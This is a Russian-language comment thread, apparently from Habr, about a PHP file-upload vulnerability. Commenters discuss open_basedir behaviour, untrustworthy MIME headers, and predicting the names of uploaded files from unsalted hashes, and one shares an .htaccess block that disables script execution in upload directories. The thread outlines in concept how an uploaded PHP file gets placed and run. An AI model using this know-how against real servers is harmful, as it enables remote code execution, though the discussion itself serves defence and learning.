                                    честно говоря, у меня файлы даже не загружаются, если /tmp не прописан в open_basedir, сейчас вот при загрузке получаю [error] => 6 (что есть UPLOAD_ERR_NO_TMP_DIR), честно говоря никогда не задавался вопросом совместной работы директив open_basedir и upload_tmp_dir, потестирую на досуге.
                                    Доверять MIME не стоит, но все же если хочется проверить, то он приходит в массиве $_FILES, и необходимости в getimagesize() нет

                                    P.S. Но все же, сохранения файла, и последующая его валидация (в данном случаи самая простая, на тип файла), не должна быть реализованная так как в испытуемому движке
                                    • –1
                                      У вас проблема не в open_base_dir, а в правах записи на папку tmp.
                                      • +2
                                        на винде? )
                                        • –1
                                          если /tmp не прописан в open_basedir

                                          Подумалось, что это вряд ли «винда». А по вашему «на винде» нет прав доступа записи на папку? Или production у вас тоже на «винде» (код то работать везде должен)? Тогда, извиняюсь, не знаю нюансов работы upload_file php в windows, но подозреваю, что что-то тут не чисто.
                                          • 0
                                            в win с правами как-то попроще, да и все работало, пока не прописал только одну open_basedir
                                            при чем здесь production?
                                            • 0
                                              В никсах также, если папка не входит в open_basedir то ни временные файлы ни сессии php сохранять в нее не будет.
                                              «Chroot» процесса php происходит перед запуском сессий и всего прочего, так что доступа в недозволенные папки уже не оказывается к моменту старта сессии или сохранения временного файла. sferrka что-то путает.
                                              • 0
                                                В никсах также, если папка не входит в open_basedir то ни временные файлы ни сессии php сохранять в нее не будет.

                                                Description: Ubuntu 12.04.4 LTS
                                                PHP Version => 5.5.12-2+deb.sury.org~precise+1

                                                Apache conf
                                                php_admin_value open_basedir /var/www/sites/

                                                	session_start();
                                                	echo $_SESSION['ddas'];
                                                	var_dump($_SESSION);
                                                	$_SESSION['ddas']=1;
                                                var_dump(session_save_path());
                                                file_put_contents('/tmp/1.txt','sdfds');
                                                

                                                1array(1) { [«ddas»]=> int(1) } string(13) "/var/lib/php5"
                                                Warning: file_put_contents(): open_basedir restriction in effect. File(/tmp/1.txt) is not within the allowed path(s): (/var/www/sites/)


                                                Не знаю, что у вас не сохраняет.
                                                • 0
                                                  вы уверены что в данном случае php_admin_value open_basedir /var/www/sites/ обрабатывается? Попытка открыть файл вне этой директории заканчивается неудачей? Хотя возможно, в 5.5 версии изменили это поведение и ваш пример действительно работает.
                                    • 0
                                      А вот тут вы ошибаетесь, приходящий mime в массиве $_FILES содержит лишь заголовок, предоставленный браузером и не проверяется на корректность. С помощью данной уязвимости, в бородатые годы «куллхацкеры» натворили достаточно дел, если вы понимаете о чем я.
                                      • 0
                                        да, по этому я писал что доверять mime не стоит, но файлу можно можно и заголовок подделать
                                        • –1
                                          Что значит «заголовок подделать»?
                                          • 0
                                            Браузер при загрузке передает Content-Type файла, который затем попадает в $_FILES.
                                            • 0
                                              Ясно. В общем, в $_FILES есть два значения, которым можно доверять, не опасаясь — размер файла и временное имя. Остальные (в том числе — имя контрола, в котором был загруженный файл) — прилетают из сети и к ним нужно относиться с подозрением.
                                              • 0
                                                Совершенно верно.

                                                Вообще, первое правило защиты — не доверять ничему, что как-либо соприкасалось с данными извне. В Ruby есть очень интересная концепция tainted, когда виртуальная машина будет автоматически помечать все переменные, которые «взаимодействовали» с пользовательскими данными, как «ненадёжные» и в таких функциях, как exec, можно затем заблокировать выполнение, получив tainted-переменную.
                                    • 0
                                      del, и без меня разъяснили
                                      • 0
                                        обратиться к нему getimagesite($_FILES['file']['tmp_name']) получим ошибку


                                        не знаю как с getimagesite, но обычная обработка такого файла работает корректно (имею ввиду copy resampled и получение разрешения файла). У меня такой скрипт работает не на одном сайте — всегда работаю с исходным временным файлом, а уже результат записываю в новый. (правда перед открытием я проверяю валидность — что это именно картинка, а не скрипт, как — особый разговор)
                                      • +1
                                        safe_mode из PHP удалили и его больше нет.
                                        В том числе и в той версии PHP, которую вы используете (по скриншотам вижу).

                                        К тому же нет смысла их включать.
                                        • 0
                                          А еще добавили примеси, пространства имен, генераторы, имена классов по статическому псевдо-свойству «class» и многое другое. Не знаю какие вы видите скриншоты, но по работе сталкиваюсь с разными версиями PHP.
                                          • 0
                                            Движок писался до того, как 5.3 стала мейнстримом, а safe mode выпилили только в 5.4, то есть спустя лет так 5-7.
                                            • –1
                                              Логично начинать писать проект под самую последнюю версию PHP или вовсе бету — к окончанию проекта она уже будет стабильной.
                                              С обновлением версии PHP добавляются новые возможности, улучшается стабильность и производительность.
                                              Что касается среды исполнения, то попросите своего администратора поставить все требуемое ПО, — это его работа.
                                    • –6
                                      Такое ощущение что функция загрузки специально придумана под уязвимость
                                      Как мне кажется — уже каждый джуниор знает что проверять надо расширение, а не mime тип, и уж точно не сохранять файл куда либо до проверки…
                                      • 0
                                         $info = getimagesize('temp/'.$filename.'.'.$ext);
                                          
                                         $tmp_ext = str_replace('image/', '', $info['mime']);
                                         if ($ext != $tmp_ext) {
                                              ...
                                         }
                                        

                                        здесь тоже гениально, для JPEG файлов mime type всегда будет image/jpeg, а расширение файлов обычно .jpg, соответственно jpg файлы всегда будут переименовываться в .jpeg, зачем?
                                        • +1
                                          *.jpeg эквивалентен *.jpg, nginx и другие сервера его отлично распознают. Другой вопрос — зачем проверять на 'jpg' в коде, если там всегда будет 'jpeg'? Авторы перестраховались.
                                          • –1
                                            разницы между .jpg и .jpeg нет, зачем тогда делать лишнюю работу по переименованию файлов, по моему авторы ступили, а не перестраховались
                                        • +24
                                          Основная дыра — в запуске php.
                                          Если её закрыть, ничего не будет.

                                          Закрывается, например, так:

                                          <Files ~ "\..+$">
                                              Deny from all
                                          </Files>
                                          
                                          php_flag engine 0
                                          RemoveHandler .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml
                                          AddType application/x-httpd-php-source .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml
                                          AddType "text/html" .php .cgi .pl .fcgi .fpl .phtml .shtml .php2 .php3 .php4 .php5 .asp .jsp
                                          


                                          • +1
                                            Согласен, оптимальный вариант — выносить все скрипты за DocumentRoot, а для корня сайта отключать их выполнение. Либо если так не получается — отключать выполнение скриптов для пользовательских папок. Но увы, до сих пор многие движки грешат наследием и позволяют запускать всё и отовсюду. В этой связи особенно интересны ошибки в настройке nginx+fcgi, когда запустить на выполнение можно любой скрипт вне зависимости от его расширения (ссылка есть в статье).
                                          • 0
                                            Но как узнать хеш, в который переименовался файл?
                                            • +1
                                              Так ведь он вычисляется по содержимому файла, который вы загрузили.
                                              • +4
                                                Точно же. Я совсем забыл, что можно хеш создавать без соли.
                                              • 0
                                                Хеш — детерминированноя функция, где на входе содержимое нашего файла.
                                              • –5
                                                Даже не пирожное
                                                • –1
                                                  Если я правильно понял, вы о CakePHP? Тогда целиком поддерживаю, ибо он просто из багов состоит, удивительно, что приведенный автором пример — не из него)
                                                  • +1
                                                    Видимо имелось в виду, что статья якобы вообще не торт (на самом деле это не так).
                                                • 0
                                                  > Публиковать ли ещё статьи об уязвимостях?
                                                  Конечно публиковать, вы ещё спрашивате?

                                                  Я правильно понимаю, что генератор «бомбы» просто внедряет phpinfo() в файл из сжатых нулей?
                                                  • 0
                                                    «Бомба» прерывает «естественный» ход событий и файл bomb.php остается в каталоге для временных файлов…
                                                    • 0
                                                      Да, как уже сказано в топике, надо сделать две вещи:
                                                      — залить файл,
                                                      — заставить сервер выполнить залитый файл.

                                                      Для выполнения второй задачи, есть промежуточная задача: нужно знать куда именно и под каким именем залился наш файл.
                                                      В топике указан способ решения первой и промежуточной задач.
                                                      Решение второй задачи здесь не приведено, так как это, как ни странно, совсем другая задача :)
                                                      • –1
                                                        Тьфу ты блин, раньше времени отправилось и не поправилось.
                                                        Промежуточная задача здесь «решена» в большей части благодаря «ошибкам» в конфигурации.
                                                  • +5
                                                    > Публиковать ли ещё статьи об уязвимостях?
                                                    Да, только избавьтесь от «ложили».
                                                    • –1
                                                      Просто напомню, что есть habrahabr.ru/conversations/
                                                      • –1
                                                        этим способом ложили


                                                        Возможно это сленг, как у каменщиков.
                                                        • 0
                                                          Предположительно, слово «ложить» вышло из литературного языка, когда в моде был французский. Потому что прямой перевод этого слова — coucher — имеет сексуальный подтекст (в постель ложить). Тогда оно в тему: я ваш сервер того… поимел ложил :)
                                                      • +1
                                                        Лично мне статья понравилась, с удовольствием почитаю ещё.

                                                        Вспомнилось, как N лет назад прикалывались над друзьями и отправляли по почте файл в 1-2 Мб.
                                                        И называли файл «Фотки.rar» или «CS_1.6.zip».
                                                        А человек его распаковать не мог, потому что места на диске не хватало.

                                                        Кстати, может кому пригодится…
                                                        >> $ext = strtolower($ext[count($ext)-1]);
                                                        $ext = strtolower(end($ext))

                                                        Что касается проверки, то она какая-то странная…
                                                        Сначала происходят операции с файлом, а потом только проверяется у него расширение.
                                                        По логике, сначала должна происходить проверка входных данных, и только затем выполняться какие-то действия.
                                                        • +1
                                                          Кстати, может кому пригодится…
                                                          $ext = strtolower(end($ext))
                                                          

                                                          еще лучше
                                                          pathinfo($filename, PATHINFO_EXTENSION);
                                                          
                                                          • 0
                                                            Ну, я обычно пишу вообще: strrchr($fn, '.');
                                                        • 0
                                                          За шутку «640 петабайт хватит для всех» отдельное спасибо! ;)

                                                          Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.